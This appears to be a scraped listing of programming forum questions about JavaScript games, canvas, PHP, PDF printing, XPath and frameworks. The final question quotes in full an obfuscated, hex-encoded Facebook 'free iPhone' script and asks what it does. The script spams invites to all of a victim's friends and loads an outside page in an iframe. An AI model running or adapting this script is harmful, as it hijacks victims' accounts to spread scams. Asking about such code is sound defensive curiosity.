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  • Extremely simple online multiplayer game

    - by Postscripter
    I am considering creating a simple multiplayer game, which focuses on physics and can accommodate up to 30 players per session. Very simple graphics, but smart physics (pushing, weight and gravity, balance) is required. After some research I found a good java script (framework ??) called box2d.js I found the demo to be excellent. this is is kind of physics am looking for in my game. Now, what other frameworks will I need? Node.js?? Prototype.js?? (btw, I found the latest versoin of protoype.js to be released in 2010...?? is this still supported? Should I avoid using it?) What bout HTML 5 and Canvas? would I need them? websockets? Am a beginner in web programming + game programming world. but I will learn fast, am computer science graduate. (but no much web expeience but know essentionals javascript, html, css..). I just need a guiding path to build my game. Thanks

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  • Parse text file on click - and then display

    - by John R
    I am thinking of a methodology for rapid retrieval of code snippets. I imagine an HTML table with a setup like this: one two ... ten one oneTwo() oneTen() two twoOne() twoTen() ... ten tenOne() tenTwo() When a user clicks a function in this HTML table, a snippet of code is shown in another div tag or perhaps a popup window (I'm open to different solutions). I want to maintain only one PHP file named utitlities.php that contains a class called 'util'. This file & class will hold all the functions referenced in the above table (it is also used on various projects and is functional code). A key idea is that I do not want to update the HTML documentation everytime I write/update a new function in utilities.php. I should be able to click a function in the table and have PHP open the utilities file, parse out the apropriate function and display it in an HTML window. Questions: 1) I will be coding this in PHP and JavaScript but am wondering if similar scripts are available (for all or part) so I don't reinvent the wheel. 2) Quick & easy Ajax suggestions appreciated too (probably will use jquery, but am rusty). 3) Methodology for parsing out the functions from the utilities.php file (I'm not to good with regex).

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  • canvas tile grid, hover effects, single tilesheet, etc

    - by user121730
    I'm currently in the process of building both the client and server side of an html5, canvas, and WebSocket game. This is what I have thus far for the client: http://jsfiddle.net/dDmTf/7/ Current obstacles The hover effect has no idea what to put back after the mouse leaves. Currently it's just drawing a "void" tile, but I can't figure out how to redraw a single tile without redrawing the whole map. How would I go about storing multiple layers within the map variable? I was considering just using a multi-dimensional array for each layer (similar to what you see as the current array), and just iterating through it, but is that really an efficient way of doing it? Side note The tile sheet being used for the jsfiddle display is only for development. I'll be replacing it as things progress in the engine. I hope you can help! Hopefully you guys can help me, I've been struggling to get through things, since I'm learning how things kind of stuff works as I go. If you guys have any pointers for my JavaScript, feel free. As I'm more or less learning advanced usage as I go, I'm sure I'm doing plenty of things wrong. Note: I will continue to update this post as the engine improves, but updating the jsfiddle link and updating the obstacles list by striking things that have been solved, or adding additions. Thanks!

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  • How should I architect a personal schedule manager that runs 24/7?

    - by Crawford Comeaux
    I've developed an ADHD management system for myself that's attempting to change multiple habits at once. I know this is counter to conventional wisdom, but I've tried the conventional for years & am now trying it my way. (just wanted to say that to try and prevent it from distracting people from the actual question) Anyway, I'd like to write something to run on a remote server that monitors me, helps me build/avoid certain habits, etc. What this amounts to is a system that: runs 24/7 may have multiple independent tasks to run at once may have tasks that require other tasks to run first lets tasks be scheduled by specific time, recurrence (ie. "run every 5 mins"), or interval (ie. "run from 2pm to 3pm") My first naive attempt at this was just a single PHP script scheduled to run every minute by cron (language was chosen in order to use a certain library, but no longer necessary). The logic behind when to run this or that portion of code got hairy pretty quick. So my question is how should I approach this from here? I'm not tied to any one language, though I'm partial to python/javascript. Thoughts: Could be done as a set of scripts that include a scheduling mechanism with one script per bit of logic...but the idea just feels wrong to me. Building it as a daemon could be helpful, but still unsure what to do about dozens of if-else statements for detecting the current time

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  • Parse text file on click and display

    - by John R
    I am thinking of a methodology for rapid retrieval of code snippets. I imagine an HTML table with a setup like this: one two ... ten one oneTwo() oneTen() two twoOne() twoTen() ... ten tenOne() tenTwo() When a user clicks a function in this HTML table, a snippet of code is shown in another div tag or perhaps a popup window (I'm open to different solutions). I want to maintain only one PHP file named utitlities.php that contains a class called 'util'. This file & class will hold all the functions referenced in the above table (it is also used on various projects and is functional code). A key idea is that I do not want to update the HTML documentation everytime I write/update a new function in utilities.php. I should be able to click a function in the table and have PHP open the utilities file, parse out the apropriate function and display it in an HTML window. Questions: 1) I will be coding this in PHP and JavaScript but am wondering if similar scripts are available (for all or part) so I don't reinvent the wheel. 2) Quick & easy Ajax suggestions appreciated too (probably will use jquery, but am rusty). 3) Methodology for parsing out the functions from the utilities.php file (I'm not to good with regex).

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  • PDF export printing in Internet Explorer [closed]

    - by user619804
    protected static byte[] exportReportToPdf(JasperPrint jasperPrint) throws JRException { JRPdfExporter exporter = new JRPdfExporter(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint); exporter.setParameter(JRExporterParameter.OUTPUT_STREAM, baos); exporter.setParameter(JRPdfExporterParameter.PDF_JAVASCRIPT, "this.print({bUI: true,bSilent: false,bShrinkToFit: true});"); exporter.exportReport(); return baos.toByteArray(); } We are using code like this to export a PDF document from a Jasper application. The line exporter.setParameter(JRPdfExporterParameter.PDF_JAVASCRIPT, "this.print({bUI: true,bSilent: false,bShrinkToFit: true});"); adds JavaScript to send the PDF document directly to the printer. The expected behavior is that a print dialog will come up with a preview of the PDF document. This works fine most of the time - except I am having problems about one out of every 5-6 times in Internet Explorer 8 and Firefox. What happens is - the print preview dialog with the PDF document does not appear or it appears with a blank document in the preview window. -I've tried a number of different JavaScripts (different params to this.print() via exporter.setParameter -I've tried setting different response headers such as response.setContentType("application/pdf"); response.setHeader("Content-disposition","inline; filename=\"" + reportName + "\""); response.setContentLength(baos.size()); these did not seem to help This seems to be an IE and FF issue. Has anyone ever dealt with this problem? I need to get it to work across all browsers 100% of the time. Perhaps a different approach to accomplish the goal of sending the PDF document export directly to the printer? or a third party library that will work across browsers?

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  • The Web Weekly Newsletter

    - by dwahlin
    Several months ago I created a few FlipBoard magazines that a ton of developers (over 50,000!) have used to access content on JavaScript, HTML5, AngularJS, Azure, XAML, Web API, and more. While the feedback on the magazines has been super positive, several people have asked about having the content pushed to them. I’m generally too busy to remember to go check a particular link on a regular basis so I definitely understood and agree with the comments. I’m happy to announce a new newsletter I’m calling the Web Weekly. It’ll highlight content across the different FlipBoard magazines plus other sources and go out to subscribers a few times a month (weekly when possible). The first issue is ready to go and includes a “video highlights” segment I created to show some of my favorite content in the first issue. If you’re interested in staying on top of all the cutting edge Web technologies feel free to subscribe below!   Here’s a sample of some of the articles included:     Here’s the video from the first edition of the newsletter:   Subscribe to the newsletter below….

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  • Collision detection between a sprite and rectangle in canvas

    - by Andy
    I'm building a Javascript + canvas game which is essentially a platformer. I have the player all set up and he's running, jumping and falling, but I'm having trouble with the collision detection between the player and blocks (the blocks will essentially be the platforms that the player moves on). The blocks are stored in an array like this: var blockList = [[50, 400, 100, 100]]; And drawn to the canvas using this: this.draw = function() { c.fillRect(blockList[0][0], blockList[0][1], 100, 100); } I'm checking for collisions using something along these lines in the player object: this.update = function() { // Check for collitions with blocks for(var i = 0; i < blockList.length; i++) { if((player.xpos + 34) > blockList[i][0] && player.ypos > blockList[i][1]) { player.xpos = blockList[i][0] - 28; return false; } } // Other code to move the player based on keyboard input etc } The idea is if the player will collide with a block in the next game update (the game uses a main loop running at 60Htz), the function will return false and exit, thus meaning the player won't move. Unfortunately, that only works when the player hits the left side of the block, and I can't work out how to make it so the player stops if it hits any side of the block. I have the properties player.xpos and player.ypos to help here.

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  • Is it worth moving from Microsoft tech to Linux, NodeJS & other open source frameworks to save money for a start-up?

    - by dormisher
    I am currently getting involved in a startup, I am the only developer involved at the moment, and the other guys are leaving all the tech decisions up to me at the moment. For my day job I work at a software house that uses Microsoft tech on a day to day basis, we utilise .NET, SqlServer, Windows Server etc. However, I realise that as a startup we need to keep costs down, and after having a brief look at the cost of hosting for Windows I was shocked to see some of the prices for a dedicated server. The cheapest I found was £100 a month. Also if the business needs to scale in the future and we end up needing multiple servers, we could end up shelling out £10's of £000's a year in SQL Server / Windows Server licenses etc. I then had a quick look at the price of Linux hosting for a dedicated server and saw the price was waaaaaay lower than windows hosting. One place was offering a machine with 2 cores for less than £20 a month. This got me thinking maybe the way to go is open source on Linux. As I write a lot of Javascript at work (I'm working on a single page backbone app at the moment), I thought maybe NodeJS and a web framework like Express would be cool to use. I then thought that instead of using SQL why not use an open source NoSQL database like MongoDB, which has great support on NodeJS? My only concern is that some of the work the application is going to do is going to be dynamically building images and various other image related stuff, i.e. stuff that is quite CPU heavy - so I'm thinking of maybe writing anything CPU heavy in C++ and consuming it as a module in Node. That's the background - but basically is Linux a good match for: Hosting a NodeJS/Express site? Compiling C++ node modules? Using a NoSQL DB like MongoDB? And is it a good idea to move to these unfamiliar technologies to save money?

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  • Google Chrome on Ubuntu 12.04 not rendering webpages correctly

    - by sumit_gt
    I am facing some serious web page rendering issues with Chrome. It is more prominent during javascript based animations and stuff on websites like youtube. I have tried removing chrome using (sudo apt-get purge google-chrome-stable) and then reinstalling it. But the problems still persist. The same webpages work correctly on firefox on ubuntu and chrome on windows. The problem only shows up when I use chrome on ubuntu. I think the issue has started after I updated to the latest version of Chrome. I have used Chrome previously on this machine without any problems. I have attached a image that demonstrates the issue. What could possibly be the problem? PS: here's the output of lshw -c video: *-display description: VGA compatible controller product: Madison [Radeon HD 5000M Series] vendor: Hynix Semiconductor (Hyundai Electronics) physical id: 0 bus info: pci@0000:01:00.0 version: 00 width: 64 bits clock: 33MHz capabilities: pm pciexpress msi vga_controller bus_master cap_list rom configuration: driver=fglrx_pci latency=0 resources: irq:46 memory:e0000000-efffffff memory:f0020000-f003ffff ioport:d000(size=256) memory:f0000000-f001ffff Here's the output of lspci -nn: output of lspci -nn

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  • What is better for the overall performance and feel of the game: one setInterval performing all the work, or many of them doing individual tasks?

    - by Bane
    This question is, I suppose, not limited to Javascript, but it is the language I use to create my game, so I'll use it as an example. For now, I have structured my HTML5 game like this: var fps = 60; var game = new Game(); setInterval(game.update, 1000/fps); And game.update looks like this: this.update = function() { this.parseInput(); this.logic(); this.physics(); this.draw(); } This seems a bit inefficient, maybe I don't need to do all of those things at once. An obvious alternative would be to have more intervals performing individual tasks, but is it worth it? var fps = 60; var game = new Game(); setInterval(game.draw, 1000/fps); setInterval(game.physics, 1000/a); //where "a" is some constant, performing the same function as "fps" ... With which approach should I go and why? Is there a better alternative? Also, in case the second approach is the best, how frequently should I perform the tasks?

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  • What are some good ways for an intermediate programmer to build skills?

    - by Jordan
    Preface: I work mostly in Python, and Web Dev languages (HTML, CSS, Javascript and Jquery, PHP) I'm proficient at coding but I want to get better. In larger more advanced projects my programming skills break down. The more code there is the more trouble I have fitting all the pieces together. I understand syntax well, and I can catch and correct errors fairly easier. But the more advanced it gets the more I struggle. I believe I have a good understand of the basic and nuts and bolts of programming and I understand what's going on, but when it comes to larger projects, especially ones with heavy math involved my confidence flags and I start making mistakes. It's not that I can't do it, I'm just not used to doing it. Does anyone have any advice for someone who knows programming, but wants to get better? The only tutorials I can really find are beginner basic type stuff. Basically what I'm saying is I want to be confident when I'm tackling advanced projects, but I can't because I have little experience dealing with difficult situations.

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  • How to print a pdf in a new tab? [migrated]

    - by TheDuke777
    I need to print a pdf by opening it in a new window. I've looked at tutorials for days, but nothing is working. I've tried many approaches, but this is the most recent: <!DOCTYPE html> <html> <head> <script type="text/javascript"> function print() { window.getElementById("pdf").focus(); window.getElementById("pdf").print(); } </script> </head> <body onload="print()"> <embed id="pdf" src="http://path/to/file" /> </body> </html> The page loads fine, with the pdf embedded. But it won't print, and I feel like I've been beating my head against a brick wall trying to figure this out. How can I get this to work? I'm willing to try anything at this point.

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  • Finding back to an old project that was turned upside-down by the developer. Your workflow?

    - by Kreativrandale
    after some time I'm asked to work on a heavy web-project I did (layout, html/css) about a year ago. There are some changes that have to be made, basically some css and js stuff. By now the whole project was turned upside down by the developer. It gives me a hard time to connect to the work of him, especially because my old files and file-structure won't work anymore. Thats why I need a up-to-date working-environment, but I don't want to change the files on the server directly. Need some testing and improving while doing this. So, what is your workflow in such a case? Thought about copying the whole/parts of the server to a own homeserver. But even that will be a big task for me (I'm more the front-end-guy). Would be great if theres a way to shrink it down (php, mysql,...), since I only need to change some css/html javascript. Are there any tools available? Love to hear how you handle such situations. Thanks a lot!

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  • How to refactor to cleaner version of maintaing states of the widget

    - by George
    Backstory I inherited a bunch of code that I'd like to refactor. It is a UI application written in javascript. Current state: We have main application which consist of several UI components. And each component has entry fields, textboxes, menus, etc), like "ticket", "customer information", etc. Based on input, where the application was called from, who is the user, we enable/disable, hide, show, change titles. Unfortunately, the app grew to the point where it is really hard to scale, add new features. Main the driver (application code) calls set/unset functions of the respective components. So a lot of the stuff look like this Main app unit function1() { **call_function2()** component1.setX(true); component1.setY(true); component2.setX(false); } call_function2() { // it may repeat some of the code function1 called } and we have a lot of this in the main union. I am cleaning this mess. What is the best way to maintain the state of widgets? Please let me know if you need me to clarify.

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  • Independent HTML5 Physics Game: Any Feedback? [closed]

    - by mndoftea
    I've been independently developing a physics-based HTML5 game. I haven't used any libraries or engines; all the code, including the physics, is my own. It is free for a while on the Chrome Web Store and I was hoping that I could get some feedback on it. You can get it for Chrome here: https://chrome.google.com/webstore/detail/dbnmkpcomailjochphnmfklofkmgenci. I know this is not a normal question, but I'm happy for answers to be abstracted/generalized for broader use. Im asking here because I don't know anyone else personally who does this stuff. Any thoughts, comments or ideas you might have would be greatly appreciated! The physics system is written in JavaScript and works by setting up the differential equations of motion (plus a few conditions) and evaluating them numerically using the Euler method. The graphics are done through the HTML5 canvas and the music is done through the audio element. (Said music is in the public domain by the way). You can see the code by going to VIewView Source in Chrome.

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  • How do I use XPath with a default namespace with no prefix?

    - by Scott Stafford
    What is the XPath (in C# API to XDocument.XPathSelectElements(xpath, nsman) if it matters) to query all MyNodes from this document? <?xml version="1.0" encoding="utf-8"?> <configuration> <MyNode xmlns="lcmp" attr="true"> <subnode /> </MyNode> </configuration I tried /configuration/MyNode which is wrong because it ignores the namespace. I tried /configuration/lcmp:MyNode which is wrong because lcmp is the URI, not the prefix. I tried /configuration/{lcmp}MyNode which failed because Additional information: '/configuration/{lcmp}MyNode' has an invalid token. EDIT: I can't use mgr.AddNamespace("df", "lcmp"); as some of the answerers have suggested. That requires that the XML parsing program know all the namespaces I plan to use ahead of time. Since this is meant to be applicable to any source file, I don't know which namespaces to manually add prefixes for. It seems like {my uri} is the XPath syntax, but Microsoft didn't bother implementing that... true?

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  • Pros and Cons of Facebook's React vs. Web Components (Polymer)

    - by CletusW
    What are the main benefits of Facebook's React over the upcoming Web Components spec and vice versa (or perhaps a more apples-to-apples comparison would be to Google's Polymer library)? According to this JSConf EU talk and the React homepage, the main benefits of React are: Decoupling and increased cohesion using a component model Abstraction, Composition and Expressivity Virtual DOM & Synthetic events (which basically means they completely re-implemented the DOM and its event system) Enables modern HTML5 event stuff on IE 8 Server-side rendering Testability Bindings to SVG, VML, and <canvas> Almost everything mentioned is being integrated into browsers natively through Web Components except this virtual DOM concept (obviously). I can see how the virtual DOM and synthetic events can be beneficial today to support old browsers, but isn't throwing away a huge chunk of native browser code kind of like shooting yourself in the foot in the long term? As far as modern browsers are concerned, isn't that a lot of unnecessary overhead/reinventing of the wheel? Here are some things I think React is missing that Web Components will care of. Correct me if I'm wrong. Native browser support (read "guaranteed to be faster") Write script in a scripting language, write styles in a styling language, write markup in a markup language. Style encapsulation using Shadow DOM React instead has this, which requires writing CSS in JavaScript. Not pretty. Two-way binding

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  • switch namespace by if condtion

    - by pascal
    Hi, in my C++ program I have several namespaces that contain several pointers with identical names. I then want a function to choose a namespace according to a parameter. I.e. something like: #include <iostream> namespace ns1{ double x[5]={1,2,3,4,5}; } namespace ns2{ double x[5]={6,7,8,9,10}; } int main(){ int b=1; if(b==1){ using namespace ns1; } if(b==2){ using namespace ns2; } std::cout << x[3] << std::endl; } However, this doesn't work since the compiler complains that x isn't known in that scope. I guess the problem is that "using namespace ..." is only valid within the if-statement. I think that it should be possible to switch namespaces somehow, but cannot find out how... Do you know how to do this without casting all variable separately? int main(){ int b=1; double *x; if(b==1){ x = ns1::x; } if(b==2){ x = ns2::x; } std::cout << x[3] << std::endl; } Cheers, Pascal

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  • Live search/filter as you type in client approach

    - by Pinoniq
    As an exercise for myself to practice my JavaScript "skills" I'm trying to write a client-side filter. It should be able to filter "content blocks" as the user types. By "content block", I mean a list of DomElements that each contain at least one text node - it is possible that they contain more, and even a different amount of text nodes, nested inside other nodes, etc. I've thought of 2 approaches: On page initialization, scan all nodes and store all the text in some kind of Map or a tree. Simply iterate over every item and check whether it has the string to search/filter for. One could add performance here by caching, only filtering the current remaining items if text is added, etc. Obviously, if the number of nodes is really big, option 1 will take a while to build the 'index' but it will perform faster once it is built. Option 2 however will be available right on page load since no initialization is performed. But of course it will take longer to search. So my question is: what is the best approach here? And how would one implement 'caching' and/or 'index'?

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  • Best practice for storing information from a php script for future use

    - by tRudgeF3llow
    My employer uses forms to help people search for products. The product lists can change from time to time and the forms need to be updated again. The product information can be accessed through a third party API which I started tinkering with, I've recently built a script that retrieves the information with PHP and creates and populates a form dynamically with Javascript. So far so good, but... There are limitations to the API, mainly it can only be accessed a certain number of times per hour, it is probably more than my form/script would use but I want to create a script that is minimally intrusive. My main question is... What is the best practice for accessing the information once and storing it long enough to let the API reset? I was wondering about creating a cookie but there is the possibility of users that have them disabled. (Also, I am doing this as a personal project but I like the people I work for and I think this would help them out.) Thanks in advance.

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  • jquery is not working over local network [migrated]

    - by Kortyell Davis
    i have a fedora server running apache web server. the server is connected to a home network. i have a laptop connected to the same network. i can enter the ip address of my server into the browser of my laptop and pull up the index.html file located in the document root directory of the fedora home server. the index.html file contains jquery code. the jquery code only works when i open it locally in my browser (e.g. right click open with firefox), but when i attempt to view the webpage from my laptop the jquery code is not executed. the code is here below. <script type="text/javascript" src="jquery-1.8.2.js"></script> ' $(document).ready(function() { $('#form').hide(); $('input[type=text]').focus(function() { $(this).val(''); }); $('input[type=password]').focus(function() { $(this).val(''); }); $('.form').hide(); $('#log').click(function(){ $('#form').toggle(); }); $('#reg').click(function(){ $('.form').toggle(); }); });

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  • Drawning with canvas - problem with sizing [closed]

    - by pioncz
    For example i made 2 canvas with size 500px x 500px and 100px x 100px to see how fillrect works and i found that canvas.fillrect doesnt takes px for arguments, and my question is: how to make pixels as arguments or how to count these arguments for pixels? This is example: <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascript"> function draw() { var canvas = document.getElementById('myCanvas'); var ctx = canvas.getContext('2d'); ctx.fillStyle = '#00f'; ctx.fillRect (0, 0,100, 100); var canvas2 = document.getElementById('myCanvas2'); var ctx2 = canvas2.getContext('2d'); ctx2.fillStyle = '#0f0'; ctx2.fillRect (0, 0, 100, 100); } </script> </head> <body onLoad="draw();"> <canvas id="myCanvas" style="background:black;width:500px;height:500px;display:block;position:absolute;top:0px;left:0px;"> </canvas> <canvas id="myCanvas2" style="background:purple;width:100px;height:100px;display:block;position:absolute;top:0px;left:0px;"> </canvas> </body> </html>

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  • How can I determine if an image has loaded, using Javascript/jQuery?

    - by Kip
    I'm writing some Javascript to resize the large image to fit into the user's browser window. (I don't control the size of the source images unfortunately.) So something like this would be in the HTML: <img id="photo" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Is there a way for me to determine if the src image in an img tag has been downloaded? I need this because I'm running into a problem if $(document).ready() is executed before the browser has loaded the image. $("#photo").width() and $("#photo").height() will return the size of the placeholder (the alt text). In my case this is something like 134 x 20. Right now I'm just checking if the photo's height is less than 150, and assuming that if so it is just alt text. But this is quite a hack, and it would break if a photo is less than 150 pixels tall (not likely in my particular case), or if the alt text is more than 150 pixels tall (could possibly happen on a small browser window). Edit: For anyone wanting to see the code: $(function() { var REAL_WIDTH = $("#photo").width(); var REAL_HEIGHT = $("#photo").height(); $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(REAL_HEIGHT < 150) { REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); if(REAL_HEIGHT < 150) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } }); Update: Thanks for the suggestions. There is a risk of the event not being fired if I set a callback for the $("#photo").load event, so I have defined an onLoad event directly on the image tag. For the record, here is the code I ended up going with: <img id="photo" onload="photoLoaded();" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Then in Javascript: //This must be outside $() because it may get called first var isPhotoLoaded = false; function photoLoaded() { isPhotoLoaded = true; } $(function() { //Hides scrollbars, so we can resize properly. Set with JS instead of // CSS so that page doesn't break with JS disabled. $("body").css("overflow", "hidden"); var REAL_WIDTH = -1; var REAL_HEIGHT = -1; $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(!isPhotoLoaded) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } else if(REAL_WIDTH < 0) { //first time in this function since photo loaded REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } });

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  • Can anybody tell what this JavaScript code is doing? [closed]

    - by waheed
    Possible Duplicate: Javascript compiled or not? Check inside… In a facebook group this code was provided to get the free IPhone, you have to join the group and paste the code in the browser and run it. I wonder it might be something malicious, can anybody tell what this code is doing? javascript:var _0xb714=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x34\x35\x36\x37\x38\x39\x39\x35\x37\x38\x39\x39\x30\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E", "\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x73\x6C\x68\x6F\x73\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x67\x65\x73\x2F\x6E\x65\x77\x69\x70\x68\x6F\x6E\x65\x70\x61\x67\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x39\x38\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"]; var variables= [_0xb714[0], _0xb714[1], _0xb714[2], _0xb714[3], _0xb714[4], _0xb714[5], _0xb714[6], _0xb714[7], _0xb714[8], _0xb714[9], _0xb714[10], _0xb714[11], _0xb714[12], _0xb714[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]); var ss=document[variables[2]](variables[4]); var c=document[variables[6]](variables[5]); c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xb714[14]); Thanks..

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